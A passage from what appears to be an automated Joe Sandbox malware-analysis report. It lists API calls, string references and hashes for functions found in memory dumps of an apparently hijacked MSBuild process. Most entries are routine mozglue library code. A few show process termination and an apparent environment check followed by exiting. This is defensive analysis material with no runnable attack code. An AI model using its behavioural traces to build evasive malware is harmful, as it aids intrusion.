Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction ID: b8c8723f1521e4f3fec0f4e2c6f7b94e046a4329f4e2f1b0a8ef501eceb55b30
Opcode Fuzzy Hash: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction Fuzzy Hash: 01419D71904706DBD300DF29C88056AFBF4FFCA254F604A2EE4A987750EB70E959CB92

Function 6C546470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5482BC,?,?), ref: 6C54649B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5464A9

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54653F
free.MOZGLUE(?), ref: 6C54655A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction ID: dd323f1108e99b331cc213312e703bf193806432111d2e89e6811c12913ca4ad
Opcode Fuzzy Hash: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction Fuzzy Hash: EF316EB5A043159FD700CF14D88469ABBE4BF89314F41882EE89A87741EB30E918CB92

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 6C53FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C53FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C53FFF5
free.MOZGLUE(?,?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C54001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C54002A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction ID: bd50870881a15947ae02bd52192fbd4c0a2f870e57ef2ec50de31545adf0c440
Opcode Fuzzy Hash: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction Fuzzy Hash: 6F21D872A002159BD7189E789C948AFB7BAEBC53247254778E829D7780FB70AD0187E1

Function 6C51B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B4F5
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B502
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B542
free.MOZGLUE(?), ref: 6C51B578

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction ID: 07b9abb74b2fa5fb3ad0478432c35c4cf26d8a58253e0388e9fe9184419792ce
Opcode Fuzzy Hash: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction Fuzzy Hash: ED11FD30A09B10C7E311AF29CC04761B3B4FF9B318F12A70AE84952F12FBB1A5C48794

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 6C543DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C50F20E,?), ref: 6C543DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C50F20E,00000000,?), ref: 6C543DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C543E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C543E0E

Part of subcall function 6C53CC00: GetCurrentProcess.KERNEL32(?,?,6C5031A7), ref: 6C53CC0D
Part of subcall function 6C53CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5031A7), ref: 6C53CC16

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction ID: 1d01a7363c4af1e235e24081fc45a12c62ad2c08f7a2b3a1f2a47a3f13b2aad0
Opcode Fuzzy Hash: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction Fuzzy Hash: 0AF012B1501228BBD700AB54DC41DAB376DDB87624F054020FD0857741E735BD658AFB

Function 6C552050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C552064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55208E
free.MOZGLUE(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C5520A3

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction ID: 0d23ae03713b839928fe217b064e0a208a559f253df74362f913eff2b6313805
Opcode Fuzzy Hash: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction Fuzzy Hash: 08F0B471101A10DFC7119F16DC88B5BB7F8EF86364F11011AE54687711C776A805CBAA

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(01340598,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction ID: ed9884e5d74d46977e8df864d01039e67b6c1105ae855f948e647e2f19da04a8
Opcode Fuzzy Hash: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction Fuzzy Hash: B2F0E57DAC0304BFE710AFE0DC49B6D7BB6E745701F109159F605A62D0D6755501CB52

Function 6C5585B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5585D3

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C558725

Strings

map/set<T> too long, xrefs: 6C558720

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction ID: ae05b024ce37754aaed4150dc2c903fb0757a7ee0fbf8ef2c7a083189841c055
Opcode Fuzzy Hash: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction Fuzzy Hash: 9E518474620641CFD701CF18C884A5ABBF1BF9A318F58C18AD8594BB92C735EC95CF92

Function 6C50BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C50BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C50BE8F

Strings

0, xrefs: 6C50BE5B

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction ID: 12e4cd7ce159388738ce5f89a69c65fcab43e36a511a0507332d0c40af01002b
Opcode Fuzzy Hash: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction Fuzzy Hash: 5341A172A09745CFC701DF28C881A9BB7F4AF8A348F004A1DF9859B611E730D959CB82

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3
cI@, xrefs: 00418BB1, 00418BE1, 00418BE4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 6C543CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C543D19
mozalloc_abort.MOZGLUE(?), ref: 6C543D6C

Strings

d, xrefs: 6C543D58

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction ID: bd6b868022999ba29037bf29b4005b9ed930a472948d0ebc06e795674a2183bc
Opcode Fuzzy Hash: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction Fuzzy Hash: E6110135E04698DBDF019B69CC144EEB775EF86358F45D228DC499B622FB30A9C4C390

Function 6C514730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

Strings

GetNtLoaderAPI, xrefs: 6C514744

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction ID: a54f0dbe2b57cb7c67af60659ea85034c901cfc754fe3300ae7a35d04a150ca2
Opcode Fuzzy Hash: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction Fuzzy Hash: B40140753062649FDF00AF66CC4861E7BF9EB8B325B06546AE905C7710DB74D802CFA5

Function 6C566DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C566E22
__Init_thread_footer.LIBCMT ref: 6C566E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C566E1D

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
